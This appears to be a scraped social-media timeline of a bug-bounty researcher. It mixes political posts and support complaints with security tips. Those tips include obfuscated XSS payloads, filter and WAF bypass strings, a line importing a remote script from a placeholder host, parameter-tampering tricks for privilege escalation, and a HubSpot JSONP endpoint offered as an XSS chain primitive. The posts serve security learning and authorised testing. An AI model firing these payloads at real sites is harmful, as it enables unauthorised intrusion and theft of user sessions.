Gaurav Kumar(GDATTACKER)

Recon 🔍 | Assets 🌐 | Cybersecurity 🛡️ | World + Web explorer 🌍 | Tasty food keeps me scanning | @HackenProof Security Researcher

[Gaurav Kumar(GDATTACKER) @gdattacker]

@kornbuilds @airsignbreeze try connecting with the grievance officer first of the meta if they can help

[Gaurav Kumar(GDATTACKER) @gdattacker]

@ni5arga @hetmehtaa @maninekkalapudi although you have been reporting to those but they don't have public policy to test bro so it's shady area testing without permission so @hetmehtaa is right

[Gaurav Kumar(GDATTACKER) @gdattacker]

@Behi_Sec secret discoverer in burp works well

[KNOXSS @KN0X55]

XSS PoC Styles

- Noob
alert(1)

- Bug Hunter
alert(document.domain)

- WAF Ninja
d=document,b='`',d['loca'%2B'tion']='javascrip'%2B't%26colon;aler'%2B't'%2Bb%2Bd.domain%2Bb

- Red Teamer
import('//domain.tld/xss2rce.js')

- KNOXSS

[KNOXSS @KN0X55]

The "JavaScript:" XSS payload offers ample room for code obfuscation, as it can be encoded multiple times.

JavaScript:alert(1)
👇🏾
JavaScript:%61lert(1)
👇🏾
JavaScript:&#37&#54&#49lert(1)
👇🏾
JavaScript:%26%2337%26%2354%26%2349lert(1)

Lab https://t.co/9SUXZmy7EM

[bugcrowd @Bugcrowd]

Quick bug bounty TIPS!

➡️ verified=false → true, “true”, "True", "TRUE", 1, "1", “yes”
➡️ /v3/users/1234 → v1, v0, internal, beta, legacy
➡️ quantity=100 → -1, 0, 9999999999, 1.82376931348623157e+308
➡️ role=”user” → “admin”, “”, null, “system”
➡️ /admin → /Admin, /ADMIN, /aDmIn

Try them now! ✅

Do you have something to add? 👇

[KNOXSS @KN0X55]

Crash Course on JavaScript for XSS Hunters

Worth watching, liking and sharing!😎
https://t.co/wbSSrLLYvm

[KNOXSS @KN0X55]

Some Neat XSS Tricks

</<K><Svg Onload=alert(1)>
</<Kno XSS="><Svg Onload=alert(1)>
<!<K><Svg Onload=alert(1)>
<!<Kno XSS="><Svg Onload=alert(1)>

Test them here:
https://t.co/oujWZWxxEk

[Cockroach is Back @Cockroachisback]

Dharmendra Pradhan must resign!

[Nicolas Krassas @Dinosn]

A Claude Code skill bundle for bug hunting and external red-team work - 51 skills, 15 slash commands, 574+ disclosed-report patterns curated across 24 vulnerability classes, plus enterprise identity + infrastructure attack matrices. https://t.co/MpxsmCqaM3

[KNOXSS @KN0X55]

XSS Without Parentheses
location=tagName
<JavaScript:"\74Svg\57OnLoad\75\141\154\145\162\164\501\51\76"/ContentEditable/AutoFocus/OnFocus=location=tagName>

PoC https://t.co/uRcdd0RTWU

Ref https://t.co/fDkMWhEd4w

[KNOXSS @KN0X55]

XSS shot for whitelists, might get executed in DOM if attribute is evaluated.

1'"<S><A HRef=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; Title=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt;>

[Gaurav Kumar(GDATTACKER) @gdattacker]

@ganaseclabs @D0rkerDevil Wow awesome discovery

[Gaurav Kumar(GDATTACKER) @gdattacker]

@HelleLyngSvends @Erroristotle the bjp owned a huge army of trollers and content management groups who do all possible tweeks and tricks but keep fighting. Truth can't escape for long time

[Gaurav Kumar(GDATTACKER) @gdattacker]

#cockroachjantaparty

[Gaurav Kumar(GDATTACKER) @gdattacker]

If you are a cockroach write -

Dharmendra Pradhan must resign!

[Gaurav Kumar(GDATTACKER) @gdattacker]

Details of tickets has been shared via dm as requested

[Gaurav Kumar(GDATTACKER) @gdattacker]

@digitalocean what's going on account stuck at verification not getting reply on support ticket but the amount is being used from account help me out

[Marouane Mouhtadi @Mar0_0uane]

During recent testing on a HubSpot-powered target, I needed a JSONP primitive to complete a DOM XSS chain.

One interesting behavior: HubSpot CMS exposes a built-in endpoint in this format:

`/_hcms/forms/embed/v3/form/{portalId}/{formId}?callback=alert`

Example :
`REDACTED. com/_hcms/forms/embed/v3/form/22544793/f411e5de-1b8b-4b19-8e6d-fe003d08cc8b?callback=alert`

It's a JSONP endpoint that wraps the response in whatever function name you pass. Just load it as <script src=...> and your callback fires.

The callback param has char restrictions so not every payload goes through, but alert() or prompt() works fine for proof. If you're hunting on any HubSpot site and just need that last JSONP piece for the chain, this is it.
#bugbounty

[Het Mehta @hetmehtaa]

The most complete list of LLM vulnerability research for cybersecurity I've found:

https://t.co/3L4zH8f31p

It covers threat intelligence, NIDS rule labelling, vulnerability detection, code repair, and jailbreak defenses etc.